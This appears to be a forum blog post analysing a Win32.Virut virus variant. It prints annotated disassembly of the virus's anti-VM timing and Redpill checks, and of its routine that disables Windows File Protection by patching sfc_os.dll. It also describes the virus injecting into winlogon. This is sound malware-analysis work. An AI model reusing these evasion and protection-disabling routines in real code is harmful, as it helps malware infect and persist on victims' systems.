IDC scripting a Win32.Virut variant - Part 2

Rating: 7 votes, 2.00 average.
This post continues Part 1, which should be read first for reference.

Some points of interest about the viral code itself:

  • There is a small RDTSC timing check at the start. If the difference between 2 RDTSC calls is greater than 0x100 then it's determined that you're in a VM or single step tracing the code (or have only 4K of memory maybe!). In that case the virus doesn't infect but instead returns to the default address of 0x40101D and only tries to connect to the irc server.

    Doing a little test I found that 2 RDTSC calls would return a difference of between 1000-1500 ticks under VMWare, but only 50 ticks under a real system. Not a sophisticated VM test, but it seems to work.

  • There is also apparently a Redpill type VM check which I found crashes under VMWare.

    :0040323A RedPill:      ; CODE XREF: Main+2
    :0040323A       push    eax
    :0040323B       sidt    qword ptr [esp-2]
    :00403240       pop     eax
    :00403241       mov     eax, [eax+6]    ; invalid pointer, crashes under VMWare
    :00403241                               ; buggy code?!
    :00403244       shl     eax, 10h
    :00403247       jns     short Force_RDTSC_test_to_fail
  • The virus is Win9x/Me compatible. If the OS is Win2K or greater it hooks NtCreateFile / NtOpenFile. If Win9x, it hooks VWIN32_Int21Dispatch and monitors for the MS-DOS LFN (long file name) service 0x716C, which is used for open/create. The Win9x related stuff is "old school" and has been documented before. If interested see:

    The VxDCall backdoor http://vx.netlux.org/lib/vgy06.html
    VIRUS ANALYSIS 2 http://peterszor.com/hps.pdf

  • The virus copies itself to the last section of a file it infects, but the initial seed value for the Xor decryption routine is different for every infected file (uses an RDTSC randomization), showing its polymorphic nature. After copying itself from running memory into the file, the main Decrypt function is called once again, but this time it's encrypting itself in the file, the XOR routine being reversible.

  • After determining the system offsets for the Nt calls it hooks, the virus creates a section, maps itself into it, then immediately continues execution from this high memory mapping address. All further execution is run from this memory mapped image. This makes it a little more difficult when live tracing and comparing addresses to the disassembly, but the jump to high memory makes a great breakpoint when you get deeper into the live analysis.

    .data:004035FE lea eax, dword_403606
    .data:00403604 jmp eax
    .data:00403606 ... ; this is now running from high mem

  • One interesting (though not original) thing the virus does is how it disables Windows File Protection (WFP) so it can infect any file in any directory without being subverted.

    Immediately after beginning execution in the high memory mapped section that I just mentioned, it calls NtAdjustPrivilegesToken with SeDebugPrivilege privilege so it is able to call CreateRemoteThread() in the Winlogon process.

    How to obtain a handle to any process with SeDebugPrivilege

    Using a CreateToolhelp32Snapshot/Process32Next loop, it scans for the 4th process returned, or Winlogon. Then it hooks the 4 Nt calls within the winlogon address context by overwriting the Service Id of the relevant Zw ntdll KiFastSystemCall with a detour to its own hook routine (which is mapped into winlogon memory space).

    Once this is done it calls CreateRemoteThread followed by a short Sleep routine to let the remote thread execute within winlogon context. After the Sleep nap, the CreateToolhelp32Snapshot loop continues and hooks the 4 Nt calls in every other active process.

    The aforementioned CreateRemoteThread winlogon thread does a number of things besides disabling WFP. It sets up the Win9x/Me VxDCall file hook if applicable, writes the irc sites IP address to the Windows hosts file, accesses the registry, creates some Events, creates a couple more threads, one of which maps out ntoskrnl and the KeServiceDescriptorTable, tries to connect to the internet, etc.

    WFP is disabled by patching in a call to ExitThread immediately after a NtWaitForMultipleObjects call in an sfc.os.dll function called SfcWatchProtectedDirectoriesWorkerThread. The function name pretty much describes what it does, it's a worker thread which continually monitors for file changes from a protected dll list. After patching SfcWatchProtectedDirectoriesWorkerThread the virus calls SfcTerminateWatcherThread. (IDA + symbols is a wonderful thing )

    Here is what the function looks like in code:

    // The search pattern in sfc.os.dll
    :00403CE4          Pattern_SFC_OS_DLL:    ; DATA XREF: Disable_WFP+F
    :00403CE4 6A 01       push    1
    :00403CE6 6A 01       push    1
    :00403CE8 FF 33       push    dword ptr [ebx]
    :00403CEA FF 73 04    push    dword ptr [ebx+4]
    :00403CEA          ; -----------------------------------------------
                          // part of call ds:NtWaitForMultipleObjects
    :00403CED FF 15       dw 15FFh   
    :00403CEF Disable_WFP     proc near
    // EAX = base address of sfc.os.dll returned from GetModuleHandleA
    :00403CEF       test    eax, eax
    :00403CF1       jz      short locret_403CE3
    :00403CF3       push    0Bh
    :00403CF8       mov     edx, eax
    :00403CFA       pop     ebx
    :00403CFB       add     edx, [eax+IMAGE_DOS_HEADER.e_lfanew]
    :00403CFE       lea     esi, Pattern_SFC_OS_DLL
                            // SectionTable.PointerToRawData .text section
    :00403D04       mov     edi, [edx+10Ch]
                            // SectionTable.SizeOfRawData .text section
    :00403D0A       mov     ecx, [edx+108h]
    :00403D10       add     edi, eax
    :00403D12       sub     ecx, ebx
    :00403D14 Find_Pattern:           ; CODE XREF: Disable_WFP+2E
    :00403D14       pusha
    :00403D15       mov     ecx, ebx
    :00403D17       repe cmpsb
    :00403D19       popa
    :00403D1A       jz      short loc_403D21
    :00403D1C       inc     edi
    :00403D1D       loop    Find_Pattern
    :00403D1F       jmp     short locret_403CE3
    :00403D21 ; ----------------------------------------------------
    :00403D21 loc_403D21:             ; CODE XREF: Disable_WFP+2B
    :00403D21       add     edi, 0Fh
    :00403D24       push    edi
    :00403D25       mov     edx, esp
    :00403D27       push    ebx
    :00403D28       mov     ecx, esp
    :00403D2A       push    eax
    :00403D2B       push    esp             ; OldProtect
    :00403D2C       push    40h             ; Protect
    :00403D2E       push    ecx             ; RegionSize
    :00403D2F       push    edx             ; BaseAddress
    :00403D30       push    0FFFFFFFFh      ; hProcess
    :00403D32       call    NtProtectVirtualMemory
    :00403D38       add     esp, 0Ch
    :00403D3B       mov     edx, ExitThread
    :00403D41       sub     edx, edi
    :00403D43       sub     edx, 7
    // Patch in ExitThread call immediately after
    // NtWaitForMultipleObjects in sfc.os function
    // SfcWatchProtectedDirectoriesWorkerThread
    // patch in push eax opcodes (6A00) + Call near, relative opcode (E8)
    :00403D46       mov     dword ptr [edi], 0E8006Ah  
    // patch in ExitThread displacement
    :00403D4C       mov     [edi+3], edx
    :00403D4F       retn
    :00403D4F Disable_WFP     endp ;
    Once I figured out what the code was doing I was able to do a search and found that the entire routine for disabling WFP was ripped from here:


  • And finally, and congratulations if you're still reading this, there is a mysterious Int 0x2C interrupt call at the start of the program. This call is the main reason this virus held my interest for so long and is ultimately the genesis of this article. I was hoping a full analysis of the program would point out its purpose. Alas, I'm still as clueless as when I started.

    Therefore I open up to speculation (or reason or knowledge), the true function of this Int2C call, if there is one, to you Gentle Reader (may Asimov forgive me).

    Here is the start of the code once again showing the important bits. I've tried to outline the "normal" path of infection by highlighting in Blue. Under any condition that I can see, Int2C will always return STATUS_NO_EVENT_PAIR, so that particular path of execution is fixed.

    The question is then. is this just quirky code to confuse us, or can an Int2C call have a real purpose in Ring3 under certain conditions?

    :00403200 start           proc near 
    :00403200                 cld
    :00403201                 call    Main
    :00403201 start           endp
    :0040321F popebp_ret:
    :0040321F                 pop     ebp
    :00403220                 retn
    :00403221 Force_RDTSC_test_to_fail:
    :00403221                 push    ebp
    :00403222                 mov     eax, 8000h
    :00403227                 xor     ecx, ecx
    :00403229                 jmp     short loc_403255
    :0040322E Main            proc near
    :0040322E                 test    eax, eax
    :00403230                 jnz     short RedPill
    :00403232                 INT     2Ch
    // returns STATUS_NO_EVENT_PAIR (0C000014Eh)
    :00403234                 test    eax, eax   
    :00403236                 jns     short Force_RDTSC_test_to_fail
    :00403238                 jmp     short RDTSC_Check
    :0040323A RedPill:
    :0040323A                 push    eax
    :0040323B                 sidt    fword ptr [esp-2]
    :00403240                 pop     eax
    :00403241                 mov     eax, [eax+6]
    :00403244                 shl     eax, 10h
    :00403247                 jns     short Force_RDTSC_test_to_fail
    :00403249 RDTSC_Check: 
    :00403249                 push    ebp
    :0040324A                 call    _RDTSC
    :0040324F                 xchg    eax, ecx
    :00403250                 call    _RDTSC
    :00403255 loc_403255:
    :00403255                 sub     eax, ecx
    :00403257                 mov     ebp, [esp+4]
    :0040325B                 sub     dword ptr [esp+4]
    :00403263                 sub     eax, 100h
    :00403268                 jnb     short popebp_ret
    :0040326A                 sub     ebp, 301006h
    :00403270                 lea     eax, startdecrypt
    :00403276                 mov     dx, [eax-65h]
    :0040327D                 call    Decrypt

    So what is interrupt Int 0x2C?

    Well, in Vista it's apparently used as part of the WDK NT_ASSERT macro implemented as DbgRaiseAssertionFailure(). This macro embeds an Int2C in driver code and raises an assert exception which is passed to the kernel debugger if present. For reference see the following article (or its google cache), or search for 'NT_ASSERT'.


    The only other useful information I found for Int2C, and of a completely different nature, deals with client/server Local Procedure Call (LPC) communication using an EventPair (hence the source of the STATUS_NO_EVENT_PAIR return error). See the following 2 articles:


    It's easy enough to trace into an Int2C from user mode using Softice. You'll find that in XP it calls ntoskrnl!KiSetLowWaitHighThread. With IDA and symbols in hand, plus a prototype header file for the ETHREAD and KTRAP_FRAME structures you can define the entire short function.

    I'm not going to speculate on the Int2C any further at this point, but I leave this as an introduction. I'm fairly certain another member here will soon post another interesting twist to this Int2C saga

Submit "IDC scripting a Win32.Virut variant - Part 2" to Digg Submit "IDC scripting a Win32.Virut variant - Part 2" to del.icio.us Submit "IDC scripting a Win32.Virut variant - Part 2" to StumbleUpon Submit "IDC scripting a Win32.Virut variant - Part 2" to Google